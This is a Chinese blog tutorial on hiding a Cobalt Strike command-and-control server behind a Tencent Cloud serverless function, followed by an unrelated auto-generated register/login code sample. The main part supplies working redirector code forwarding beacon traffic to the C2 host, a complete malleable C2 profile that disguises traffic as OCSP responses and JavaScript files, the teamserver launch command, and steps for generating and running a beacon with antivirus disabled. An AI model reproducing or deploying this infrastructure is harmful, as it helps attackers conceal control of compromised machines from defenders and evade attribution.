云函数实现隐藏c2地址

介绍

说明:云函数是一个可以为开发者提供的无服务器执行代码的环境,相当于我们可以提前部署一个云函数,当我们需要运行这段代码的时候只需要通过去请求某一个特定的地址(即云函数地址)就可以运行了。因为云函数的请求域名解析出来的IP是变化的,所以可以用来隐藏c2地址

实现

1.配置云函数

打开腾讯云云函数配置中心,从头开始配置一个云函数,注意选择python3.6

图片

图片

配置代码写如下代码,c2地址填写 协议+ip+port,如http://127.0.0.1:80,本文使用80端口,所以后续使用http beacon

# -*- coding: utf8 -*-
import json,requests,base64
def main_handler(event, context):
    C2='http://ip'
    path=event['path']
    headers=event['headers']
    print(event) 
    if event['httpMethod'] == 'GET' : 
        resp=requests.get(C2+path,headers=headers,verify=False) 
    else: 
        resp=requests.post(C2+path,data=event['body'],headers=headers,verify=False) 
        print(resp.headers) 
        print(resp.content)
    response={
        "isBase64Encoded": True,
        "statusCode": resp.status_code,
        "headers": dict(resp.headers),
        "body": str(base64.b64encode(resp.content))[2:-1]
    }
    return response

这段代码什么意思呢

该函数的目的是将传入的 HTTP 请求转发到指定的 URL,并将响应返回给调用方。

该函数从事件中提取出 HTTP 请求的路径、标头和正文。然后,它使用 Python 的 requests 库将请求发送到指定的 URL,并获取响应。最后,该函数将响应的状态码、标头和正文转换为一个 JSON 对象,并将其返回给调用方。

图片

图片

运行一下看是否正常,然后部署

图片

配置一下触发管理

图片

然后点这里继续配置

图片

编辑配置(右上角)

图片

路径改成/

图片

然后完成,此时我们就会得到一个公网地址,这个就会作为我们的c2上线地址

图片

2.配置cs

cs根目录配置一个cs的profile(这里不需要任何改动)只需要把后缀改成.profile

set sample_name "kris_abao";

set sleeptime "3000";
set jitter    "0";
set maxdns    "255";
set useragent "Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/5.0)";

http-get {

    set uri "/api/getit";

    client {
        header "Accept" "*/*";
        metadata {
            base64;
            prepend "SESSIONID=";
            header "Cookie";
        }
    }

    server {
        header "Content-Type" "application/ocsp-response";
        header "content-transfer-encoding" "binary";
        header "Server" "Nodejs";
        output {
            base64;
            print;
        }
    }
}
http-stager {  
    set uri_x86 "/vue.min.js";
    set uri_x64 "/bootstrap-2.min.js";
}
http-post {
    set uri "/api/postit";
    client {
        header "Accept" "*/*";
        id {
            base64;
            prepend "JSESSION=";
            header "Cookie";
        }
        output {
            base64;
            print;
        }
    }

    server {
        header "Content-Type" "application/ocsp-response";
        header "content-transfer-encoding" "binary";
        header "Connection" "keep-alive";
        output {
            base64;
            print;
        }
    }
}

这段代码是一个基于HTTP的攻击工具的配置文件,用于定制攻击行为。其中设置了多个变量,包括样本名称、sleep时间、抖动时间、最大DNS数量和用户代理。代码定义了三个HTTP请求:http-get、http-stager和http-post。每个请求都设置了URI路径,并定义了客户端和服务器端的HTTP头部。客户端头部设置了Accept和Cookie,其中Cookie值使用base64编码。服务器端头部设置了Content-Type、content-transfer-encoding和Server。输出使用base64编码并打印。此外,该代码还说明了HTTP请求的基本结构和用途。然后服务端启动cs

./teamserver 你的vps(服务端)ip 密码 ./1.profile

图片

出现这样的界面就ok了(建议用高版本cs,我之前用4.0一直起不来)

然后启动对应版本号的cs客户端

设置监听器,选http就行

图片

把这里的公网域名复制到http hosts和http host(stager)里

图片

(注意,host里不需要加http:和端口,不懂可以百度一下host是什么)

然后监听器创建成功

图片

接着尝试给自己电脑上一个马子(记得关杀软)

图片

选择刚才建立的监听器

图片

然后运行exe,可以发现ip一直在变化

图片

图片

图片

自此,我们已经实现用云函数隐藏c2地址

一些可能踩雷的点

如果云函数代码里配置的是vps80端口,记得不要和其他进程冲突端口

记得vps开启50050(如果设置的是cs默认连接端口)和80端口

profile文件缩进不当会报错

欢迎关注麋鹿安全,我们的文章会第一时间更新在公众号

  • 9
    点赞
  • 8
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
函数可以用来实现注册和登录功能。下面是一个简单的示例,演示如何使用函数来处理用户的注册和登录请求。 首先,创建两个函数,一个用于处理注册请求,另一个用于处理登录请求。 1. 注册函数: ```javascript // 注册函数 exports.register = async (event, context) => { const { username, password } = event; // 从请求参数中获取用户名和密码 // 执行注册逻辑,将用户名和密码保存到数据库中,这里假设使用 MongoDB 数据库 const user = await User.create({ username, password }); // 返回注册成功的消息 return { code: 200, message: '注册成功', data: user, }; }; ``` 2. 登录函数: ```javascript // 登录函数 exports.login = async (event, context) => { const { username, password } = event; // 从请求参数中获取用户名和密码 // 根据用户名查询数据库中的用户信息 const user = await User.findOne({ username }); if (!user) { // 用户不存在 return { code: 400, message: '用户不存在', }; } if (user.password !== password) { // 密码错误 return { code: 400, message: '密码错误', }; } // 登录成功 return { code: 200, message: '登录成功', data: user, }; }; ``` 以上示例代码是基于 Node.js 平台使用函数的场景,实际上可以根据具体的开发需求和平台的支持,使用不同的编程语言和技术实现注册和登录功能。在上述示例中,我们使用了一个简单的数据库模型来存储用户信息,你可以根据实际情况选择合适的数据库技术来存储和管理用户数据。 当你调用注册函数时,需要传递用户名和密码等参数,函数会将用户信息保存到数据库中,并返回注册成功的消息。而当你调用登录函数时,需要传递用户名和密码等参数,函数会根据数据库中的用户信息进行验证,并返回登录成功或失败的消息。 请注意,以上示例只是一个简单的演示,实际开发中还需要考虑安全性、验证机制、数据加密等方面的问题。

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值